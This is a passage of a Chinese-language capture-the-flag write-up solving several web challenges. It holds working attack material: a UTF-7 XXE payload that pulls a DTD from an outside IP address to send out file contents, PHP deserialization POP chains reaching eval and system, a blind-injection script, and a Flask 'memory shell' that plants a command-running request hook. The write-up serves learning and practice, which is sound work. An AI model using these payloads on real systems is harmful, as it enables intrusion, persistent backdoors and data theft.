我首先想到的是用xml注释把关键词分隔，但是这样在语法上时行不通的，那还有什么办法呢？我们发现xml第一行有个encoding=“xxx”，那么我们将dtd部分转化为其他格式不就行了。我上网搜索了一下发现用的多的是utf-7，那么我们将正文内容转化为utf-7编码即可。

cat 1.xml | iconv -f utf-8 -t utf-7 > payload.xml

<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE ANYTHING +AFs
	+ADwAIQ-ENTITY +ACU aaa SYSTEM +ACI-http://47.118.31.122:9023/2.dtd+ACIAPg
	+ACU-aaa+ADs
+AF0APg-

将这段payload填入即可

base64解码后便可获取flag：

flag{cb2e90bc-de2f-41a6-9627-e28e4c49b05a}

🚀最后谈谈为什么需要使用base64编码回显flag。我的payload最终flag回显在我dtd文件中写的%file的位置，而%file又是在dtd中。首先我们要知道，DTD在SYSTEM标识符中对字符极为敏感，< > & ” ’ \n 等字符会直接破坏DTD解析，因此需要将 flag 编码为仅包含安全字符的形式。flag中可能含有各种字符，比如{}&@!?-等，所以我们最好是使用base64编码flag后再回显。然后谈谈内部xxe，内部xxe最终flag显示位置再正文文本中，就比如这个payload：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANYTHING [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<aaa>&xxe;</aaa>

这个最终flag回显在正文部分，所以是安全的，无需base64编码。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week3] 魔术大杂烩

<?php
highlight_file(__FILE__);
error_reporting(0);
class Wuhuarou{
    public $Wuhuarou;
    function __wakeup(){
        echo "Nice Wuhuarou!</br>";
        echo $this -> Wuhuarou;
    }
}
class Fentiao{
    public $Fentiao;
    public $Hongshufentiao;
    public function __toString(){
        echo "Nice Fentiao!</br>";
        return $this -> Fentiao -> Hongshufentiao;
    }
}
class Baicai{
    public $Baicai;
    public function __get($key){
        echo "Nice Baicai!</br>";
        $Baicai = $this -> Baicai;
        return $Baicai();
    }
}
class Wanzi{
    public $Wanzi;
    public function __invoke(){
        echo "Nice Wanzi!</br>";
        return $this -> Wanzi -> Xianggu();
    }
}
class Xianggu{
    public $Xianggu;
    public $Jinzhengu;
    public function __construct($Jinzhengu){
        $this -> Jinzhengu = $Jinzhengu;
    }
    public function __call($name, $arg){
        echo "Nice Xianggu!</br>";
        $this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
    }
}
class Huluobo{
    public $HuLuoBo;
    public function __set($key,$arg){
        echo "Nice Huluobo!</br>";
        eval($arg);
    }
}

if (isset($_POST['eat'])){
    unserialize($_POST['eat']);
}

这是一串php代码，可见这是php反序列化漏洞题。在最后的Huluobo中可以发现”eval”，可以通过它执行php代码。那么我们的目标就是通过构造pop链直到eval。由于序列化只关注对象的属性与值，所以我们将其function去除，得到下面一串php代码。

<?php
class Wuhuarou{
    public $Wuhuarou;
}
class Fentiao{
    public $Fentiao;
    public $Hongshufentiao;
}
class Baicai{
    public $Baicai;
}
class Wanzi{
    public $Wanzi;
}
class Xianggu{
    public $Xianggu;
    public $Jinzhengu;
}
class Huluobo{
    public $HuLuoBo;
}

$a = new Huluobo();

$b = new Xianggu();
$b -> Jinzhengu = "system('cat /flag');";
$b -> Xianggu = $a;

$c = new Wanzi();
$c -> Wanzi = $b;

$d =  new Baicai();
$d -> Baicai = $c;

$e = new Fentiao();
$e -> Fentiao = $d;

$f = new Wuhuarou();
$f -> Wuhuarou = $e;

echo urlencode(serialize($f));

?>

🚀我来具体讲讲这个pop链是如何构造出来的。

①从Huluobo类开始，里面有个魔术方法是__set()，是当给一个不可访问或不存在的对象赋值时自动触发，浏览所有类发现在Xianggu类中存在这个事件

$this -> Xianggu -> Bailuobo = $this -> Jinzhengu;

Bailuobo对象不存在，而且还给它赋值，所以会触发__set()；__set($key,$arg)中，$key=Bailuobo的值，$arg=Jinzhengu的值

②然后走到Xianggu类中看__construct()是创建新类时自动触发，这里用不到，我们看__call()，它是当调用一个不存在的方法时自动触发的魔术方法，发现在Wanzi类中存在此事件

class Wanzi{
  public $Wanzi;
  public function __invoke(){
    echo "Nice Wanzi!</br>";
    return $this -> Wanzi -> Xianggu();
  }
}

Xianggu()方法不存在，故会触发__call()；

③在Xianggu类中，有__invoke()魔术方法，它是当一个对象被当作函数调用时自动触发，发现Baicai类中有此事件

class Baicai{
    public $Baicai;
    public function __get($key){
        echo "Nice Baicai!</br>";
        $Baicai = $this -> Baicai;
        return $Baicai();
    }
}

Baicai存在且被当作函数调用，所以会触发__call()；

④现在走到Baicai类中，有__get()，它是当调用一个不存在或不可访问的对象时自动触发，发现Fentiao类中可存在此事件

class Fentiao{
    public $Fentiao;
    public $Hongshufentiao;
    public function __toString(){
        echo "Nice Fentiao!</br>";
        return $this -> Fentiao -> Hongshufentiao;
    }
}

当我们不给Hongshufentiao赋值时，他就是不存在的。最后调用时就会触发__get()；

⑤在Fentiao类中，有个__toString()，它是当一个对象被当作字符串输出时自动触发，而echo便能做到此事，在Wuhuarou类中存在

class Wuhuarou{
    public $Wuhuarou;
    function __wakeup(){
        echo "Nice Wuhuarou!</br>";
        echo $this -> Wuhuarou;
    }
}

echo $this -> Wuhuarou是将此类中的Wuhuaruo对象当作字符串输出，故会触发__toString()；

⑥Wuhuarou类中有__wakeup()方法，它是当对象被反序列化之后自动调用这个方法，而unserialize便可以做到。到此，pop链便可构造出来。

成功获取flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week3] 这又是什么函数

扫路由扫到/src，进入直接看到源码

from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/doit', methods=['GET', 'POST'])
def doit():
    e = request.form.get('e')
    
    try:
        eval(e)
        return "done!"
    except Exception as e:
        return "error!"

@app.route('/src', methods=['GET', 'POST'])
def src():
    return open(__file__, encoding="utf-8").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

可发现在/doit路由下，post参数e可执行一句python代码，那么这里便有两种做法，一种是布尔盲注，一种是内存马注入。先试试第一种，以下是poc，可以直接注出flag

import requests

url = "http://challenge.ilovectf.cn:30009/doit"
flag='flag{'
ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-@&?!"
for i in range(5,50):
    for c in ch:
        payload = f"print(1) if open('/flag').read()[{i}]=='{c}' else 1/0"
        resp = requests.post(url,data={'e':payload})
        if 'done!' in resp.text:
            flag+=c
            print("flag:",flag)
            break
    else:
        break

print("RESULT:",flag,"}")

另一个就是内存马，payload为：

e=app.view_functions.__setitem__('index', lambda:open('/flag').read())
'''
eval("app.view_functions.__setitem__('index', lambda:open('/flag').read())")相当于
exec("app.view_functions['index']=lambda:open('/flag').read()")
其中app也可以替换为:
__import__('sys').modules['__main__'].__dict__['app']，也就是获取app对象
'''

回到主页面便可发现flag。这个payload相当于是直接篡改flask的路由表，’/‘路由在python中基本上是使用index

@app.route('/')
def index():   //若这里的index是abc，那么payload中的index就是abc，二者需保持一致
    return "hello world"

这个payload也可以：

e=app.before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen(request.args.get('cmd')).read())
#post之后传参cmd=cat /flag即可获取flag
#这里app也可以用__import__('sys').modules['__main__'].__dict__['app']替换

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week4] Path to Hero

<?php
highlight_file('index.php');

Class Start
{
    public $ishero;
    public $adventure;


    public function __wakeup(){

        if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
            echo "<br>勇者啊，去寻找利刃吧<br>";

            return $this->adventure->sword;
        }
        else{
            echo "前方的区域以后再来探索吧！<br>";
        }
    }
}

class Sword
{
    public $test1;
    public $test2;
    public $go;

    public function __get($name)
    {
        if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
            echo "沉睡的利刃被你唤醒了，是时候去讨伐魔王了！<br>";
            echo $this->go;
        } else {
            echo "Dead";
        }
    }
}

class Mon3tr
{
    private $result;
    public $end;

    public function __toString()
    {
        $result = new Treasure();
        echo "到此为止了！魔王<br>";

        if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
            $result->end($this->end);
        } else {
            echo "难道……要输了吗？<br>";
        }
        return "<br>";
    }
}

class Treasure
{
    public function __call($name, $arg)
    {
        echo "结束了？<br>";
        eval($arg[0]);
    }
}

if (isset($_POST["HERO"])) {
    unserialize($_POST["HERO"]);
} 

这是题目源码，可以发现在Treasure类中有可RCE的地方，也就是eval($arg[0])。

①Treasure类中存在__call($name,$arg[0])，发现在Mon3tr类中有调用不存在的方法end()，所以可触发；其中arg[0]的值就是end的值。

②Mon3tr类中，发现end存在关键词过滤，其中几乎所有可获取flag的命令执行语句，这里我想到有两种方法，一种是用base64编码绕过，另一种是使用passthru('grep fla /f*')；然后可触发此类中__toString()方法的是Sword类中的echo $this -> go;

③Sword类中的__get()又可由Start类中的return $this->adventure->sword; 触发。至此，pop链形成

<?php

class Start
{
    public $ishero;
    public $adventure;
}

class Sword
{
    public $test1;
    public $test2;
    public $go;
}

class Mon3tr
{
    public $end;
}

$b = new Mon3tr();
$cmd = "system('cat /flag');";
$b64_cmd = base64_encode($cmd);
$b -> end = "eval(base64_decode(\"$b64_cmd\"));";

/*或者这种写法
$b = new Mon3tr();
$b -> end = "passthru('grep fla /f*');";
*/

$c = new Sword();
$c -> test1 = "TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak";
$c -> test2 = "TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak";
$c -> go = $b;

$d = new Start();
$d -> ishero = "hero123";
$d -> adventure = $c;

echo urlencode(serialize($d));